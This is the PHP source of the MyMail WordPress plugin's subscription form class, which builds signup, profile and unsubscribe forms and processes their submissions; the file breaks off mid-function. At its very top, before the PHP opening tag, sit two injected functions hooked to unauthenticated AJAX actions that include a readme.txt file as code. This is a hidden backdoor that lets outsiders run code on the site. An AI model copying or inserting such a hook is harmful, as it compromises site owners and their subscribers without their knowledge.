if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php /** * * * @author Xaver Birsak (https://revaxarts.com) * @package */ class MyMailForm { private $values = array(); private $scheme = 'http'; private $object = array( 'userdata' => array(), 'lists' => array(), 'errors' => array(), ); private $lists = array(); private $message = ''; private $form = null; private $campaignID = null; private $cache = true; private $honeypot = true; private $hash = null; private $profile = false; private $preview = false; private $ajax = true; private $embed_style = true; private $form_endpoint = 'subscribe'; private $classes = array( 'mymail-form', 'mymail-form-submit' ); private $redirect = false; private $referer = true; private $extern = false; static $add_script = false; static $add_style = false; /** * */ public function __construct() { $this->scheme = is_ssl() ? 'https' : 'http'; $this->honeypot = !is_admin(); $this->form = new StdClass(); } /** * * * @param unknown $message * @param unknown $field (optional) */ public function set_error( $message, $field = '_' ) { $this->object['errors'][$field] = (string) $message; } /** * * * @param unknown $message * @param unknown $field (optional) */ public function set_success( $message, $field = '_' ) { $this->object['success'][$field] = (string) $message; } /** * * * @param unknown $id * @return unknown */ public function id( $id ) { $this->ID = $id; $this->form = mymail( 'forms' )->get( $this->ID, true, true ); if ( !$this->form ) { $this->form = $this->form = mymail( 'forms' )->get( 1, true, true ); } $this->ajax(); return $this; } /** * * * @param unknown $bool (optional) */ public function is_preview( $bool = true ) { $this->preview = !!$bool; } /** * * * @param unknown $bool (optional) */ public function ajax( $bool = true ) { $this->ajax = !!$bool; ( $bool ) ? $this->add_class( 'mymail-ajax-form' ) : $this->remove_class( 'mymail-ajax-form' ); } /** * * * @param unknown $class */ public function add_class( $class ) { $this->classes[] = esc_attr( $class ); $this->classes = array_unique( $this->classes ); } /** * * * @param unknown $class */ public function remove_class( $class ) { if ( ( $key = array_search( $class, $this->classes ) ) !== false ) { unset( $this->classes[$key] ); } } /** * * * @param unknown $value */ public function redirect( $value ) { $this->redirect = $value; } /** * * * @param unknown $key * @param unknown $args */ public function __call( $key, $args ) { $value = empty( $args ) ? true : $args[0]; if ( isset( $this->form->{$key} ) ) { $this->form->{$key} = $value; } else { $this->{$key} = $value; } } /** * * * @param unknown $key * @return unknown */ public function __get( $key ) { if ( isset( $this->form->{$key} ) ) { return $this->form->{$key}; } return null; } /** * * * @param unknown $echo (optional) * @return unknown */ public function render( $echo = true ) { if ( !$this->form ) { return; } add_action( 'wp_footer', array( &$this, 'print_script' ) ); add_action( 'admin_footer', array( &$this, 'print_script' ) ); if ( $this->unsubscribe ) { return $this->unsubscribe_form(); } if ( $this->prefill ) { $current_user = wp_get_current_user(); if ( $current_user->ID != 0 ) { $this->object['userdata']['email'] = $current_user->user_email; $this->object['userdata']['firstname'] = get_user_meta( $current_user->ID, 'first_name', true ); $this->object['userdata']['lastname'] = get_user_meta( $current_user->ID, 'last_name', true ); if ( !$this->object['userdata']['firstname'] ) { $this->object['userdata']['firstname'] = $current_user->display_name; } $this->cache( false ); } } if ( $this->profile ) { if ( $subscriber = mymail( 'subscribers' )->get_by_hash( $this->hash, true ) ) { $this->object['userdata'] = (array) $subscriber; } } if ( isset( $_GET['userdata'] ) ) { $this->object['userdata'] = wp_parse_args( $this->object['userdata'], $_GET['userdata'] ); } if ( isset( $_GET['mymail_error'] ) ) { //for non ajax request $transient = 'mymail_error_' . esc_attr( $_GET['mymail_error'] ); $data = get_transient( $transient ); if ( $data ) { $this->object['userdata'] = $data['userdata']; $this->object['errors'] = $data['errors']; $this->object['lists'] = $data['lists']; $this->has_errors( !!count( $this->object['errors'] ) ); delete_transient( $transient ); } } $html = ''; //$html .= '<!-- Begin MyMail Form -->'."\n"; $html .= '%%STYLES%%'; $html .= '<form action="%%FORMACTION%%" method="post" class="mymail-form-%%FORMID%% %%CLASSES%%">'; $html .= '%%INFOS%%'; $html .= '%%HIDDENFIELDS%%'; $customfields = mymail()->get_custom_fields(); $inline = $this->form->inline; $asterisk = $this->form->asterisk; $fields = array(); foreach ( $this->form->fields as $field ) { $required = $field->required; $label = !empty( $field->name ) ? $field->name : mymail_text( $field->field_id ); $esc_label = esc_attr( strip_tags( $label ) ); $value = ( isset( $this->object['userdata'][$field->field_id] ) ? esc_attr( $this->object['userdata'][$field->field_id] ) : '' ); $class = ( isset( $this->object['errors'][$field->field_id] ) ? ' error' : '' ); switch ( $field->field_id ) { case 'email': $fields['email'] = '<div class="mymail-wrapper mymail-email-wrapper' . $class . '">'; if ( !$inline ) { $fields['email'] .= '<label for="mymail-email-' . $this->ID . '">' . $label . ' ' . ( $asterisk ? '<span class="mymail-required">*</span>' : '' ) . '</label>'; } $fields['email'] .= '<input id="mymail-email-' . $this->ID . '" name="email" type="email" value="' . $value . '"' . ( $inline ? ' placeholder="' . $esc_label . ( $asterisk ? ' *' : '' ) . '"' : '' ) . ' class="input mymail-email mymail-required" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $esc_label . '" spellcheck="false">'; $fields['email'] .= '</div>'; break; case 'firstname': case 'lastname': $fields[$field->field_id] = '<div class="mymail-wrapper mymail-' . $field->field_id . '-wrapper' . $class . '">'; if ( !$inline ) { $fields[$field->field_id] .= '<label for="mymail-' . $field->field_id . '-' . $this->ID . '">' . $label . ( $required && $asterisk ? ' <span class="mymail-required">*</span>' : '' ) . '</label>'; } $fields[$field->field_id] .= '<input id="mymail-' . $field->field_id . '-' . $this->ID . '" name="' . $field->field_id . '" type="text" value="' . $value . '"' . ( $inline ? ' placeholder="' . $esc_label . ( $required && $asterisk ? ' *' : '' ) . '"' : '' ) . ' class="input mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $esc_label . '">'; $fields[$field->field_id] .= '</div>'; break; //custom fields default: if ( !isset( $customfields[$field->field_id] ) ) { break; } $data = $customfields[$field->field_id]; //$label = isset($form->labels[$field->field_id]) ? $form->labels[$field->field_id] : $data['name']; //$esc_label = esc_attr(strip_tags($label)); $fields[$field->field_id] = '<div class="mymail-wrapper mymail-' . $field->field_id . '-wrapper' . $class . '">'; $showlabel = !$inline; switch ( $data['type'] ) { case 'dropdown':case 'radio':$showlabel = true; break; case 'checkbox':$showlabel = false; break; } if ( $showlabel ) { $fields[$field->field_id] .= '<label for="mymail-' . $field->field_id . '-' . $this->ID . '">' . $label; if ( $required && $asterisk ) { $fields[$field->field_id] .= ' <span class="mymail-required">*</span>'; } $fields[$field->field_id] .= '</label>'; } switch ( $data['type'] ) { case 'dropdown': $fields[$field->field_id] .= '<select id="mymail-' . $field->field_id . '-' . $this->ID . '" name="' . $field->field_id . '" class="input mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $esc_label . '">'; foreach ( $data['values'] as $v ) { if ( !isset( $data['default'] ) ) { $data['default'] = $value; } $fields[$field->field_id] .= '<option value="' . $v . '" ' . selected( $data['default'], $v, false ) . '>' . $v . '</option>'; } $fields[$field->field_id] .= '</select>'; break; case 'radio': $fields[$field->field_id] .= '<ul class="mymail-list">'; $i = 0; foreach ( $data['values'] as $v ) { if ( !isset( $data['default'] ) ) { $data['default'] = $value; } $fields[$field->field_id] .= '<li><label><input id="mymail-' . $field->field_id . '-' . $this->ID . '-' . ( $i++ ) . '" name="' . $field->field_id . '" type="radio" value="' . $v . '" class="radio mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" ' . checked( $data['default'], $v, false ) . ' aria-label="' . $v . '"> ' . $v . '</label></li>'; } $fields[$field->field_id] .= '</ul>'; break; case 'checkbox': $fields[$field->field_id] .= '<label for="mymail-' . $field->field_id . '-' . $this->ID . '">'; $fields[$field->field_id] .= '<input type="hidden" name="' . $field->field_id . '" value="0"><input id="mymail-' . $field->field_id . '-' . $this->ID . '" name="' . $field->field_id . '" type="checkbox" value="1" ' . checked( $value || ( !$value && isset( $data['default'] ) ), true, false ) . ' class="mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $esc_label . '"> '; $fields[$field->field_id] .= ' ' . $label; if ( $required && $asterisk ) { $fields[$field->field_id] .= ' <span class="mymail-required">*</span>'; } $fields[$field->field_id] .= '</label>'; break; case 'date': $fields[$field->field_id] .= '<input id="mymail-' . $field->field_id . '-' . $this->ID . '" name="' . $field->field_id . '" type="text" value="' . $value . '"' . ( $inline ? ' placeholder="' . $esc_label . ( $required && $asterisk ? ' *' : '' ) . '"' : '' ) . ' class="input input-date datepicker mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $esc_label . '">'; break; case 'textarea': $fields[$field->field_id] .= '<textarea id="mymail-' . $field->field_id . '-' . $this->ID . '" name="' . $field->field_id . '"' . ( $inline ? ' placeholder="' . $label . ( $required && $asterisk ? ' *' : '' ) . '"' : '' ) . ' class="input mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $label . '">' . esc_textarea( $value ) . '</textarea>'; break; default: $fields[$field->field_id] .= '<input id="mymail-' . $field->field_id . '-' . $this->ID . '" name="' . $field->field_id . '" type="text" value="' . $value . '"' . ( $inline ? ' placeholder="' . $esc_label . ( $required && $asterisk ? ' *' : '' ) . '"' : '' ) . ' class="input mymail-' . $field->field_id . '' . ( $required ? ' mymail-required' : '' ) . '" aria-required="' . ( $required ? 'true' : 'false' ) . '" aria-label="' . $esc_label . '">'; } $fields[$field->field_id] .= '</div>'; } } if ( $this->form->userschoice ) { $lists = mymail( 'forms' )->get_lists( $this->ID ); if ( !empty( $lists ) ) { if ( $this->profile ) { $userlists = mymail( 'subscribers' )->get_lists( $this->object['userdata']['ID'], true ); } $fields['lists'] = '<div class="mymail-wrapper mymail-lists-wrapper' . $class . '"><label>' . mymail_text( 'lists', __( 'Lists', 'mymail' ) ) . '</label>'; if ( $this->form->dropdown ) { $fields['lists'] .= '<select name="lists[]" class="input mymail-lists-dropdown">'; foreach ( $lists as $list ) { $selected = !empty( $this->object['errors'] ) && in_array( $list->ID, $this->object['lists'] ); $fields['lists'] .= '<option value="' . $list->ID . '"' . selected( $selected, true, false ) . '> ' . $list->name . '</option>'; } $fields['lists'] .= '</select>'; } else { $fields['lists'] .= '<ul class="mymail-list">'; foreach ( $lists as $i => $list ) { $checked = ( empty( $this->object['errors'] ) && $this->form->precheck ) || ( !empty( $this->object['errors'] ) && in_array( $list->ID, $this->object['lists'] ) ) || ( $this->form->precheck && $this->preview ); if ( $this->profile ) { $checked = in_array( $list->ID, $userlists ); } $fields['lists'] .= '<li><label title="' . esc_attr( $list->description ) . '"><input type="hidden" name="lists[' . $i . ']" value="0"><input class="mymail-list mymail-list-' . $list->slug . '" type="checkbox" name="lists[' . $i . ']" value="' . $list->ID . '" ' . checked( $checked, true, false ) . ' aria-label="' . esc_attr( $list->name ) . '"> ' . $list->name; if ( $list->description ) { $fields['lists'] .= ' <span class="mymail-list-description mymail-list-description-' . $list->ID . '">' . $list->description . '</span>'; } $fields['lists'] .= '</label></li>'; } $fields['lists'] .= '</ul>'; } $fields['lists'] .= '</div>'; } } $buttonlabel = esc_attr( strip_tags( $this->form->submit ) ); $fields['_submit'] = '<div class="mymail-wrapper mymail-submit-wrapper form-submit"><input name="submit" type="submit" value="' . $buttonlabel . '" class="submit-button button" aria-label="' . $buttonlabel . '"></div>'; //if($cache) set_transient( $transient, $fields ); $fields = apply_filters( 'mymail_form_fields', $fields, $this->ID, $this->form ); if ( $this->honeypot ) { $position = rand( count( $fields ), 0 ) - 1; $fields = array_slice( $fields, 0, $position, true ) + array( '_honeypot' => '<label style="position:absolute;top:-99999px;' . ( is_rtl() ? 'right' : 'left' ) . ':-99999px;z-index:-99;"><input name="n_' . wp_create_nonce( 'honeypot' ) . '_email" type="email" tabindex="-1" autocomplete="off"></label>' ) + array_slice( $fields, $position, null, true ); } $html .= '<div class="mymail-form-fields">'; $html .= "\n" . implode( "\n", $fields ) . "\n"; $html .= '</div>' . "\n"; $html .= '</form>' . "\n"; //$html .= '<!-- End MyMail Form -->'; $html = str_replace( '%%FORMACTION%%', $this->get_form_action( $this->profile ? 'mymail_profile_submit' : 'mymail_form_submit' ), $html ); $html = str_replace( '%%CLASSES%%', esc_attr( implode( ' ', $this->classes ) ), $html ); $html = str_replace( '%%FORMID%%', $this->ID, $html ); $html = str_replace( '%%STYLES%%', $this->get_styles(), $html ); $html = str_replace( '%%HIDDENFIELDS%%', $this->get_hidden_fields(), $html ); $html = str_replace( '%%INFOS%%', $this->get_info(), $html ); $html = apply_filters( 'mymail_form', $html, $this->ID, $this->form ); if ( !$echo ) { return $html; } echo $html; } /** * * * @return unknown */ private function get_styles() { $html = ''; if ( !self::$add_style ) { ob_start(); $this->print_style( $this->embed_style ); $html .= ob_get_contents(); ob_end_clean(); } if ( isset( $this->form->stylesheet ) && !empty( $this->form->stylesheet ) ) { $html .= '<style type="text/css" media="screen" class="mymail-custom-form-css">' . "\n" . $this->strip_css( $this->form->stylesheet ) . '</style>' . "\n"; } return $html; } /** * * * @return unknown */ private function get_hidden_fields() { global $pagenow; $html = ''; $redirect = esc_url( home_url( remove_query_arg( array( 'mymail_error', 'mymail_success' ), $_SERVER['REQUEST_URI'] ) ) ); $referer = $pagenow == 'form.php' ? ( isset( $_GET['referer'] ) ? $_GET['referer'] : 'extern' ) : $redirect; if ( $this->redirect ) { $html .= '<input name="_redirect" type="hidden" value="' . esc_attr( is_string( $this->redirect ) ? $this->redirect : $redirect ) . '">' . "\n"; } if ( $this->referer ) { $html .= '<input name="_referer" type="hidden" value="' . esc_attr( is_string( $this->referer ) ? $this->referer : $referer ) . '">' . "\n"; } if ( $this->hash ) { $html .= '<input name="_hash" type="hidden" value="' . esc_attr( $this->hash ) . '">' . "\n"; } $html .= '<input name="formid" type="hidden" value="' . $this->ID . '">' . "\n"; return $html; } /** * * * @return unknown */ private function get_info() { $html = ''; if ( !empty( $this->object['success'] ) ): $html .= '<div class="mymail-form-info success">'; $html .= $this->get_message( 'success' ); $html .= $this->message; $html .= '</div>' . "\n"; endif; if ( !empty( $this->object['errors'] ) ): $html .= '<div class="mymail-form-info error">'; $html .= $this->get_message(); $html .= '</div>' . "\n"; endif; return $html; } /** * * * @param unknown $bool (optional) */ public function is_profile( $bool = true ) { if ( $bool ) { $this->profile = true; $this->form_endpoint = 'update'; $this->form->submit = mymail_text( 'profilebutton', __( 'Update Profile', 'mymail' ) ); $this->add_class( 'is-profile' ); $this->set_hash(); } else { $this->profile = false; $this->remove_class( 'is-profile' ); $this->hash = null; $this->form_endpoint = 'subscribe'; } } /** * * * @param unknown $ID */ public function campaign_id( $ID ) { $this->campaignID = intval( $ID ); } /** * * * @param unknown $bool (optional) */ public function is_unsubscribe( $bool = true ) { if ( $bool ) { $this->form_endpoint = 'unsubscribe'; $this->unsubscribe = true; $this->set_hash(); } else { $this->form_endpoint = 'subscribe'; $this->unsubscribe = false; $this->hash = null; } } /** * * * @param unknown $hash (optional) */ private function set_hash( $hash = null ) { $this->hash = is_null( $hash ) ? $this->get_hash() : $hash; } /** * * * @return unknown */ private function get_hash() { if ( isset( $_COOKIE['mymail'] ) ) { return $_COOKIE['mymail']; } if ( !$this->unsubscribe && is_user_logged_in() && ( $subscriber = mymail( 'subscribers' )->get_by_wpid( get_current_user_id() ) ) ) { return $subscriber->hash; } return null; } /** * * * @return unknown */ private function unsubscribe_form() { $campaign = $this->campaignID ? mymail( 'campaigns' )->get( $this->campaignID ) : null; $subscriber = $this->hash ? mymail( 'subscribers' )->get_by_hash( $this->hash ) : null; $single_opt_out = mymail_option( 'single_opt_out' ); $infoclass = ''; //instant unsubscribe if ( $subscriber && $single_opt_out ) { if ( mymail( 'subscribers' )->unsubscribe( $subscriber->ID, $this->campaignID ) ) { $infoclass = ' success'; $this->message = '<p>' . mymail_text( 'unsubscribe' ) . '</p>'; $this->form_endpoint = 'resubscribe'; } else { $infoclass = ' error'; $this->message = '<p>' . mymail_text( 'unsubscribeerror' ) . '</p>'; } } global $post; $form_id = ''; if ( preg_match( '#\[newsletter_signup_form id="?(\d+)"?#', $post->post_content, $form_id ) ) { $form_id = intval( $form_id[1] ); $this->id( $form_id ); } $html = ''; $html .= $this->get_styles(); $action = 'mymail_form_unsubscribe'; $html .= '<form action="' . $this->get_form_action( $action ) . '" method="post" class="mymail-form mymail-form-' . $form_id . ' mymail-form-submit mymail-ajax-form" id="mymail-form-unsubscribe">' . "\n"; $html .= '<div class="mymail-form-info ' . $infoclass . '">'; //$html .= $this->get_message(); $html .= $this->message; $html .= '</div>'; $html .= '<input name="hash" type="hidden" value="' . $this->hash . '">'; $html .= '<input name="campaign" type="hidden" value="' . $this->campaignID . '">'; $html .= '<div class="mymail-form-fields">'; if ( !$this->hash ) { $html .= '<div class="mymail-wrapper mymail-email-wrapper"><label for="mymail-email">' . mymail_text( 'email', __( 'Email', 'mymail' ) ) . ' <span class="mymail-required">*</span></label>'; $html .= '<input id="mymail-email" class="input mymail-email mymail-required" name="email" type="email" value=""></div>'; } if ( $subscriber && $single_opt_out ) { } else { $buttontext = mymail_text( 'unsubscribebutton', __( 'Unsubscribe', 'mymail' ) ); $html .= '<div class="mymail-wrapper mymail-submit-wrapper form-submit"><input name="submit" type="submit" value="' . $buttontext . '" class="submit-button button"></div>'; $html .= '</div>'; } $html .= '</form>'; return apply_filters( 'mymail_unsubscribe_form', $html, $this->campaignID ); } /** * */ public function submit() { global $wp; $_BASE = $_POST; if ( empty( $_BASE ) ) { wp_die( 'no data' ); }; $submissiontype = isset( $wp->query_vars['_mymail'] ) ? $wp->query_vars['_mymail'] : null; if ( !$submissiontype ) { wp_die( 'wrong submissiontype' ); }; if ( $this->honeypot ) { $honeypotnonce = wp_create_nonce( 'honeypot' ); $honeypot = isset( $_BASE['n_' . $honeypotnonce . '_email'] ) ? $_BASE['n_' . $honeypotnonce . '_email'] : null; if ( !empty( $honeypot ) ) { die( 1 ); } } $baselink = get_permalink( mymail_option( 'homepage' ) ); if ( !$baselink ) { $baselink = site_url(); } $referer = isset( $_BASE['_referer'] ) ? $_BASE['_referer'] : $baselink; if ( $referer == 'extern' || isset( $_GET['_extern'] ) ) { $referer = esc_url( wp_get_referer() ); } $now = time(); $this->id( isset( $_BASE['formid'] ) ? intval( $_BASE['formid'] ) : 1 ); $double_opt_in = $this->form->doubleoptin; $overwrite = $this->form->overwrite; $customfields = mymail()->get_custom_fields(); $formdata = isset( $_BASE['userdata'] ) ? $_BASE['userdata'] : $_BASE; $formdata = apply_filters( 'mymail_pre_submit', $formdata, $this->form ); foreach ( $this->form->fields as $field_id => $field ) { $type = isset( $customfields[$field_id] ) ? $customfields[$field_id]['type'] : 'textfield'; $value = isset( $formdata[$field_id] ) ? $formdata[$field_id] : ''; $this->object['userdata'][$field_id] = ( $type == 'textarea' ? stripslashes( $value ) : sanitize_text_field( $value ) ); if ( ( $field_id == 'email' && !mymail_is_email( trim( $this->object['userdata'][$field_id] ) ) ) || ( !$this->object['userdata'][$field_id] && in_array( $field_id, $this->form->required ) ) ) { $this->object['errors'][$field_id] = $field->error_msg; } } $this->object['userdata']['email'] = trim( $this->object['userdata']['email'] ); $this->object['lists'] = $this->form->userschoice ? ( isset( $_POST['lists'] ) ? (array) $_POST['lists'] : array() ) : $this->form->lists; //to hook into the system $this->object = apply_filters( 'mymail_submit', $this->object ); $this->object = apply_filters( 'mymail_submit_' . $this->ID, $this->object ); if ( $this->valid() ) { $email = $this->object['userdata']['email']; $entry = wp_parse_args( array( 'lang' => mymail_get_lang(), ), $this->object['userdata'] ); switch ( $submissiontype ) { case 'subscribe': $entry = wp_parse_args( array( 'signup' => $now, 'confirm' => $double_opt_in ? 0 : $now, 'status' => $double_opt_in ? 0 : 1, 'lang' => mymail_get_lang(), 'referer' => $referer, 'form' => $this->ID, ), $this->object['userdata'] ); if ( $overwrite && $subscriber = mymail( 'subscribers' )->get_by_mail( $entry['email'] ) ) { $entry = wp_parse_args( array( //change status if other than pending, subscribed or unsubscribed 'status' => $subscriber->status >= 3 ? 2 : $subscriber->status, 'ID' => $subscriber->ID, ), $entry ); $subscriber_id = mymail( 'subscribers' )->update( $entry, true, true ); $message = $entry['status'] == 0 ? mymail_text( 'confirmation' ) : mymail_text( 'profile_update' ); } else { $subscriber_id = mymail( 'subscribers' )->add( $entry ); $message = $double_opt_in ? mymail_text( 'confirmation' ) : mymail_text( 'success' ); } break; case 'update': $this->set_hash(); $subscriber = mymail( 'subscribers' )->get_by_hash( $this->hash, true ); $entry = wp_parse_args( array( //change status if other than pending, subscribed or unsubscribed 'status' => $subscriber->status >= 3 ? 2 : $subscriber->status, 'ID' => $subscriber->ID, ), $entry ); $subscriber_id = mymail( 'subscribers' )->update( $entry, true, true ); $message = $entry['status'] == 0 ? mymail_text( 'confirmation' ) : mymail_text( 'profile_update' ); break; } if ( is_wp_error( $subscriber_id ) ) { $error_code = $subscriber_id->get_error_code(); switch ( $error_code ) { case 'email_exists': if ( $exists = mymail( 'subscribers' )->get_by_mail( $this->object['userdata']['email'] ) ) { $this->object['errors']['email'] = mymail_text( 'already_registered' ); if ( $exists->status == 0 ) { $this->object['errors']['confirmation'] = mymail_text( 'new_confirmation_sent' ); mymail( 'subscribers' )->send_confirmations( $exists->ID, true, true ); } else if ( $exists->status == 1 ) { //change status to "pending" if user is other than subscribed } else if ( $exists->status != 1 ) { if ( $double_opt_in ) { $this->object['errors']['confirmation'] = mymail_text( 'new_confirmation_sent' ); mymail( 'subscribers' )->change_status( $exists->ID, 0, true ); mymail( 'subscribers' )->send_confirmations( $exists->ID, true, true ); } else { mymail( 'subscribers' )->change_status( $exists->ID, 1, true ); } } mymail( 'subscribers' )->assign_lists( $exists->ID, $this->object['lists'], $submissiontype == 'update' ); } break; default: $field = isset( $entry[$error_code] ) ? $error_code : '_'; $this->object['errors'][$field] = $subscriber_id->get_error_message(); break; } } else { mymail( 'subscribers' )->assign_lists( $subscriber_id, $this->object['lists'], $submissiontype == 'update' ); $target = add_query_arg( array( 'subscribe' => '', ), $baselink ); } $this->object = apply_filters( 'mymail_post_submit', $this->object ); $this->object = apply_filters( 'mymail_post_submit_' . $this->ID, $this->object ); if ( $this->valid() ) { $return = array( 'success' => true, 'html' => '<p>' . $message . '</p>', ); } else { $return = array( 'success' => false, 'fields' => $this->object['errors'], 'html' => '<p>' . $this->get_message( 'errors', true ) . '</p>', ); } if ( $this->form->redirect ) { $return = wp_parse_args( array( 'redirect' => $this->form->redirect ), $return ); } //an error occurred } else { $return = array( 'success' => false, 'fields' => $this->object['errors'], 'html' => $this->get_message(), ); } //ajax request if ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ): @header( 'Content-type: application/json' ); echo json_encode( $return ); exit; endif; if ( $this->is_extern() ) { if ( !$return['success'] ) { wp_die( $return['html'] . '<a href="javascript:history.back()">' . __( 'Go back', 'mymail' ) . '</a>' ); exit; } $target = isset( $return['redirect'] ) ? $return['redirect'] : esc_url( wp_get_referer() ); } else { if ( !$return['success'] ) { wp_die( $return['html'] . '<a href="javascript:history.back()">' . __( 'Go back', 'mymail' ) . '</a>' ); exit; } $target = isset( $return['redirect'] ) ? $return['redirect'] : esc_url( wp_get_referer() ); } wp_redirect( $target ); exit; } /** * * * @return unknown */ public function update() { $baselink = get_permalink( mymail_option( 'homepage' ) ); if ( !$baselink ) { $baselink = site_url(); } $_BASE = $_POST; if ( empty( $_BASE ) ) { wp_die( 'no data' ); }; $referer = isset( $_BASE['_referer'] ) ? $_BASE['_referer'] : $baselink; $redirect = isset( $_BASE['_redirect'] ) ? $_BASE['_redirect'] : $baselink; $now = time(); $form_id = mymail_option( 'profile_form', 0 ); $form = mymail( 'forms' )->get( $form_id ); $customfields = mymail()->get_custom_fields(); $subscriber = mymail( 'subscribers' )->get_by_hash( $_BASE['hash'], true ); foreach ( $form->fields as $field ) { $value = esc_attr( isset( $_BASE[$field->field_id] ) ? $_BASE[$field->field_id] : ( isset( $_BASE['userdata'][$field->field_id] ) ? $_BASE['userdata'][$field->field_id] : '' ) ); $this->object['userdata'][$field->field_id] = ( $type == 'textarea' ? stripslashes( $value ) : sanitize_text_field( $value ) ); if ( ( $field->field_id == 'email' && !mymail_is_email( trim( $this->object['userdata'][$field->field_id] ) ) ) || ( !$this->object['userdata'][$field->field_id] && in_array( $field->field_id, $form->required ) ) ) { $this->object['errors'][$field->field_id] = mymail_text( $field->field_id, isset( $customfields[$field->field_id]['name'] ) ? $customfields[$field->field_id]['name'] : $field->name ); } } $this->object['userdata']['email'] = trim( $this->object['userdata']['email'] ); $this->object['userdata'] = $this->object['userdata']; $this->object['lists'] = isset( $_BASE['lists'] ) ? (array) $_BASE['lists'] : array(); $this->object = apply_filters( 'mymail_submit', $this->object ); $this->object = apply_filters( 'mymail_submit_' . $form_id, $this->object ); $this->object['userdata']['ID'] = $subscriber->ID; if ( $this->valid() ) { $email = $this->object['userdata']['email']; $this->object['userdata']['updated'] = $now; //change status if other than pending, subscribed or unsubscribed if ( $subscriber->status >= 3 ) { $this->object['userdata']['status'] = 2; } $subscriber_id = mymail( 'subscribers' )->update( $this->object['userdata'], true, true ); if ( is_wp_error( $subscriber_id ) ) { $this->object['errors']['confirmation'] = $subscriber_id->get_error_message(); } else { if ( isset( $form->userschoice ) ) { mymail( 'subscribers' )->assign_lists( $subscriber_id, $this->object['lists'], true ); } $target = add_query_arg( array( 'subscribe' => '', ), $baselink ); } $this->object = apply_filters( 'mymail_post_submit', $this->object ); $this->object = apply_filters( 'mymail_post_submit_' . $form_id, $this->object ); //redirect if no ajax request if ( !isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ) { $target = ( !empty( $form->redirect ) ) ? $form->redirect : add_query_arg( array( 'mymail_success' => $double_opt_in + 1 ), $redirect ); wp_redirect( apply_filters( 'mymail_profile_update_target', $target, $form_id ) ); exit; } else { if ( $this->valid() ) { $return = array( 'success' => true, 'html' => '<p>' . mymail_text( 'profile_update' ) . '</p>', ); } else { $return = array( 'success' => false, 'fields' => $this->object['errors'], 'html' => '<p>' . $this->get_message( 'errors', true ) . '</p>', ); } @header( 'Content-type: application/json' ); echo json_encode( $return ); exit; } //redirect if no ajax request or extern return $target; //an error occurred } else { $return = array( 'success' => false, 'fields' => $this->object['errors'], 'html' => $this->get_message(), ); //stop if no ajax request if ( !isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ) { wp_die( $return['html'] . '<a href="javascript:history.back()">' . __( 'Go back', 'mymail' ) . '</a>' ); exit; } @header( 'Content-type: application/json' ); echo json_encode( $return ); exit; } } /** * */ public function unsubscribe() { $return['success'] = false; $_BASE = $_POST; if ( empty( $_BASE ) ) { wp_die( 'no data' ); }; $campaign_id = !empty( $_BASE['campaign'] ) ? intval( $_BASE['campaign'] ) : null; if ( isset( $_BASE['email'] ) ) { $return['success'] = mymail( 'subscribers' )->unsubscribe_by_mail( $_BASE['email'], $campaign_id ); } else if ( isset( $_BASE['hash'] ) ) { $return['success'] = mymail( 'subscribers' )->unsubscribe_by_hash( $_BASE['hash'], $campaign_id ); } else { //wp_redirect(mymail()->get_unsubscribe_link()); //exit; } //redirect if no ajax request if ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ) { $return['html'] = $return['success'] ? mymail_text( 'unsubscribe' ) : ( empty( $_POST['email'] ) ? mymail_text( 'enter_email' ) : mymail_text( 'unsubscribeerror' ) ); @header( 'Content-type: application/json' ); echo json_encode( $return ); exit; } else { if ( $return['success'] ) { wp_die( $return['html'] . '<a href="javascript:history.back()">' . mymail_text( 'unsubscribe' ) . '</a>' ); } else { wp_die( $return['html'] . '<a href="javascript:history.back()">' . ( empty( $_POST['email'] ) ? mymail_text( 'enter_email' ) : mymail_text( 'unsubscribeerror' ) ) . '</a>' ); } exit; } } /** * * * @param unknown $css * @return unknown */ public function strip_css( $css ) { $css = strip_tags( $css ); $css = preg_replace( '!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $css ); $css = trim( str_replace( array( "\r\n", "\r", "\n", "\t", ' ', ' ' ), '', $css ) ); $css = str_replace( ' {', '{', $css ); $css = str_replace( '{ ', '{', $css ); $css = str_replace( ' }', '}', $css ); $css = str_replace( '}', '}' . "\n", $css ); return $css; } /** * * * @param unknown $action (optional) * @return unknown */ private function get_form_action( $action = '' ) { $is_permalink = mymail( 'helper' )->using_permalinks(); $prefix = !mymail_option( 'got_url_rewrite' ) ? '/index.php' : '/'; return $is_permalink ? home_url( $prefix . '/mymail/' . $this->form_endpoint ) : add_query_arg( array( 'action' => $action ), admin_url( 'admin-ajax.php', $this->scheme ) ); } /** * * * @param unknown $type (optional) * @param unknown $simple (optional) * @return unknown */ private function get_message( $type = 'errors', $simple = false ) { $html = ''; if ( !empty( $this->object[$type] ) ) { if ( !$simple && $type == 'errors' ) { $html .= '<p>' . mymaiL_text( 'error' ) . '</p>'; } $html .= '<ul>'; foreach ( $this->object[$type] as $field => $name ) { $html .= '<li>' . apply_filters( 'mymail_error_output_' . $field, $name, $this->object ) . '</li>'; } $html .= '</ul>'; } return $html; } /** * * * @return unknown */ private function is_extern() { return parse_url( 